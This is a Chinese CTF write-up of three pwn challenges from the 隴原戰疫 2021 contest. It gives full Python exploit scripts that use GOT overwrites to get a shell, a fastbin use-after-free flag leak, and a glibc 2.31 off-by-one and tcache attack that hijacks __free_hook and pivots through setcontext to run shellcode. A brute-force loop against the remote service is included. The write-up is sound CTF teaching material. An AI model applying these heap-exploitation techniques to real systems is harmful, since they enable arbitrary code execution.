目錄
隴原戰疫2021網絡安全大賽-pwn-wp
今天正好有事情跟比賽沖突了,回到家已經八點多,花了一個小時左右做了三道pwn
題,都是常規題。第四題忙活了半天沒啥進展,想想還是先把前三題的wp
寫了。這里總結下每道題的解題思路:
bbbaby
:題如其名- 首先修改
__stack_chk_fail@got
為puts@plt
,只要能繼續往后執行main
函數就行 - 利用
main
函數棧幀的溢出泄露出libc
地址 - 修改
atoi@got
為system
,執行下get_int
,輸入/bin/sh
即可獲得shell
- 首先修改
Magic
:這題甚至都不需要給libc
。題目加了很多無用的分支代碼,需要花點時間分析下,其實題目很簡單。- 有個空閑的
0x230
,應該是fopen
分配出來的IO_FILE
結構體。剛好能分配5
個0x70
。同時偽造一個0x70
的fastbin chunk
的頭。 - 利用
edit
部分寫修改fd
為偽造的chunk
- 分配到
fake chunk
- 利用
edit
泄露出flag
- 有個空閑的
h3apclass
:libc-2.31
下的off by one
與setcontext+61
利用- 堆風水,獲得一個
unsorted bin chunk
並制造overlapped chunk
- 爆破
4bit
,概率為1/16
。利用tcache bin
分配到_IO_2_1_stdout_
結構體上面,泄露libc
地址 - 同樣的方式泄露
heap
地址。也可以直接用__free_hook
附近的區域打,這樣就不需要泄露堆地址 - 利用
tcache bin attack
修改__free_hook
為mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]
- 最后用
setcontext+61
執行mprotect
,然后跳轉執行cat('/flag')
的shellcode
讀取到flag
- 堆風水,獲得一個
bbbaby
checksec
漏洞點
任意地址寫:
main
函數的棧溢出:
由於有canary
,所以需要改掉__stack_chk_fail@got
的內容
exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
if gift['remote']:
libc = ELF("./libc-2.23.so")
def write_any(addr, content):
p.sendlineafter("your choice\n", "0")
p.sendlineafter("address:\n", str(addr))
p.sendafter("content:\n", content)
def stack_overflow(data):
p.sendlineafter("your choice\n", "1")
p.sendlineafter("size:\n", str(0x1000))
p.sendafter("content:\n", data)
# change stack_chk
write_any(0x601020, p64(elf.plt.puts))
payload = flat({
0x118:[
0x0000000000400a03,
elf.got.puts,
elf.plt.puts,
0x40086c,
0x4007c7
]
})
stack_overflow(payload)
p.sendlineafter("your choice\n", "2")
libc_base = recv_libc_addr(p, offset=libc.sym.puts)
log_libc_base_addr(libc_base)
libc.address = libc_base
p.sendlineafter("address:\n", str(elf.got.atoi))
p.sendafter("content:\n", p64(libc.sym.system))
p.sendline("/bin/sh\x00")
get_flag_when_get_shell(p)
p.interactive()
遠程打:
Magic
checksec
給的libc
版本為2.23
漏洞點
UAF
兩處:
exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def add(idx):
p.sendlineafter("Input your choice: \n", "1\n\n")
p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
p.recvuntil("Search finished\n")
def edit(idx, data):
p.sendlineafter("Input your choice: \n", "2\n\n")
p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
p.sendafter("Input the Magic\n", data)
p.recvuntil("Magic> ")
m = p.recvuntil(" <Magic")
info(f"Get msg: {m}")
return m
def dele(idx):
p.sendlineafter("Input your choice: \n", "3\n\n")
p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
p.recvuntil("remove the Magic\n")
# alloc
add(0)
add(0)
add(0)
add(0)
add(1)
# prepare for a fake 0x70 chunk
edit(1, flat([0, 0, 0, 0x71]))
dele(1)
dele(0)
# partial overwrite
edit(0, "\xe0")
add(0)
add(0)
# leak flag
edit(0, "a"*0x50)
p.interactive()
遠程打:
h3apclass
checksec
保護全開,然后google
了一下,libc
版本為2.31-0ubuntu9.2_amd64
。
漏洞點
exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
context.update(timeout=3)
def add(idx, size, data="deadbeef"):
p.sendlineafter("4:Drop homework\n", "1")
p.sendlineafter("Which homework?\n", str(idx))
p.sendlineafter("size:\n", str(size))
p.sendafter("content:\n", data)
def edit(idx, data):
p.sendlineafter("4:Drop homework\n", "3")
p.sendlineafter("Which homework?\n", str(idx))
p.sendafter("content:\n", data)
def dele(idx):
p.sendlineafter("4:Drop homework\n", "4")
p.sendlineafter("Which homework?\n", str(idx))
cat_flag = asm(shellcraft.amd64.linux.cat("/flag"))
# forge 0x500 chunk
add(0, 0x18, 0x18*"a")
add(1, 0xf8)
add(2, 0xf8)
add(3, 0xf8)
add(4, 0xf8)
add(5, 0xf8)
add(6, 0x18)
# free space
dele(6)
dele(5)
dele(4)
dele(3)
dele(2)
# chaneg size
edit(0, 0x18*"a" + "\x01\x05")
dele(1)
# consume 0x100
add(1, 0x70)
add(2, 0x70)
log_ex(f"Now try to attack stdout...")
if gift['debug']:
payload = p16_ex(get_current_libcbase_addr() + libc.sym['_IO_2_1_stdout_'])
else:
payload = p16_ex(0x86a0)
add(3, 0x70, payload)
# free space
dele(1)
dele(2)
add(1, 0xf8)
# leak libc addr
add(2, 0xf8, flat([
0xfffffbad1887, 0, 0, 0, "\x00"
]))
libc_base = recv_libc_addr(p) - 0x1eb980
log_libc_base_addr(libc_base)
libc.address = libc_base
dele(1)
dele(0)
# leak heap addr
edit(3, p64(libc.sym['_IO_2_1_stdout_'])[:6])
add(0, 0x70)
add(1, 0x70, flat([
0xfbad1887, 0, 0, 0, libc.sym['__curbrk']-8,libc.sym['__curbrk']+8
]))
m = p.recvn(16)
heap_base = u64_ex(m[8:]) - 0x21000
log_heap_base_addr(heap_base)
dele(0)
# change __free_hook
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
edit(3, p64(libc.sym['__free_hook'])[:6])
add(0, 0x70, cat_flag)
add(4, 0x70, p64_ex(0x0000000000154930 + libc_base))
# read flag
cur_heap = heap_base + 0x1450
payload = flat({
8: cur_heap,
0x20: libc.sym['setcontext']+61,
0x30: heap_base + 0x13d0,
0xa0: cur_heap+0x30, # rsp
0xa8: libc.sym['mprotect'],
0x68: heap_base,
0x70: 0x4000,
0x88: 7
})
add(5, 0xe8, payload)
dele(5)
m = p.recvline_contains("flag")
if b"flag" in m:
log_ex_highlight(f"Get flag: {m}")
sleep(20)
p.close()
然后加一個shell
腳本跑一會兒就能拿到flag
了。
#!/bin/bash
for i in {1..10}
do
python3 exp.py re ./H3apClass -p 25373 -nl
done
遠程打:
引用與參考
1、My Blog
2、Ctf Wiki
3、pwncli